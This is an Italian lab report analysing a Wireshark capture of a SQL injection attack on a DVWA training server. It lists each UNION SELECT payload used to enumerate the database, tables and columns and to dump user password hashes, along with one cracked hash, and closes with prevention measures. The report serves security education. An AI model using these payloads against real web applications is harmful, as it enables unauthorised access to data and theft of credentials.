Introduzione

Questa relazione analizza un attacco di SQL Injection esaminando un file PCAP contenente il traffico di rete catturato durante l'attacco. L'obiettivo dell'attività è comprendere le fasi dell'attacco, identificare le vulnerabilità sfruttate e suggerire misure di mitigazione.

Fasi dell'Attacco

1. Apertura del file PCAP con Wireshark

- Il file di cattura del traffico di rete (SQL_Lab.pcap) è stato aperto in Wireshark.
- Il traffico catturato si estende su 8 minuti (441 secondi).
- Gli indirizzi IP coinvolti nell'attacco sono:
- Attaccante: **10.0.2.4**
- Vittima (server MySQL): **10.0.2.15**

2. Visione dell'attacco di SQL Injection

- Il traffico HTTP è stato analizzato per identificare l'inizio dell'attacco.
- L'attaccante ha usato una query **1=1** nel campo UserID della web application per verificare la vulnerabilità SQL Injection.
- Il server ha risposto con un record del database, confermando la vulnerabilità.

3. Estrazione delle informazioni di sistema

- L'attaccante ha utilizzato la query:

```
1’ OR 1=1 UNION SELECT database(), user()#
```

- Il nome del database: **dvwa**
- L'utente del database: **root@localhost**
- Successivamente, ha cercato di ottenere informazioni sulla versione del database con:

```
1’ OR 1=1 UNION SELECT NULL, VERSION()#
```

- Versione del database: **MySQL 5.7.12-0**

4. Estrazione delle tabelle del database

- L'attaccante ha cercato di elencare le tabelle del database utilizzando:

```
1’ OR 1=1 UNION SELECT NULL, table_name FROM
INFORMATION_SCHEMA.tables#
```

- Questo ha restituito un elenco completo delle tabelle presenti nel database.
- Per ottenere informazioni più mirate, ha modificato la query in:

```
1’ OR 1=1 UNION SELECT NULL, column_name FROM
INFORMATION_SCHEMA.columns WHERE table_name=’users’#
```

- Questo ha filtrato i risultati mostrando solo le colonne della tabella **users**.

5. Estrazione degli utenti e delle password hash

- L'attaccante ha eseguito la query:

```
1’ OR 1=1 UNION SELECT user, password FROM users#
```

- Ha ottenuto nomi utente e hash delle password.
- L'utente con hash **8d3533d75ae2c3966d7e0d4fcc69216b** è **1337**.
- Usando un tool di cracking online, l'hash è stato decifrato rivelando la password: **charley**.

Rischi derivanti dall'uso di SQL nei database web

Le web application basate su database SQL sono vulnerabili agli attacchi di SQL Injection se non adeguatamente protette. Un attaccante può ottenere accesso non autorizzato ai dati, modificare record esistenti e compromettere l'integrità del sistema.

Misure di prevenzione

- **Filtrare l'input utente**: Validare e sanificare i dati inseriti dagli utenti per impedire l'esecuzione di query dannose.
- **Utilizzare query parametrizzate**: Evitare la concatenazione di stringhe SQL dinamiche e utilizzare Prepared Statements con parametri.
- **Limitare i privilegi del database**: Gli account utilizzati dalle web application dovrebbero avere accesso solo ai dati strettamente necessari.
- **Utilizzare un Web Application Firewall (WAF)**: Un WAF può rilevare e bloccare attacchi di SQL Injection.
- **Monitorare le query SQL**: Implementare sistemi di logging e analisi per rilevare comportamenti anomali.
- **Disabilitare funzionalità non necessarie**: Limitare l'uso di funzioni avanzate di MySQL che possono essere sfruttate dagli attaccanti.

Conclusione Questa esercitazione dimostra l'importanza della sicurezza nei database e l'impatto di un attacco di SQL Injection. Implementando le giuste misure di prevenzione, è possibile mitigare il rischio e proteggere i dati da accessi non autorizzati.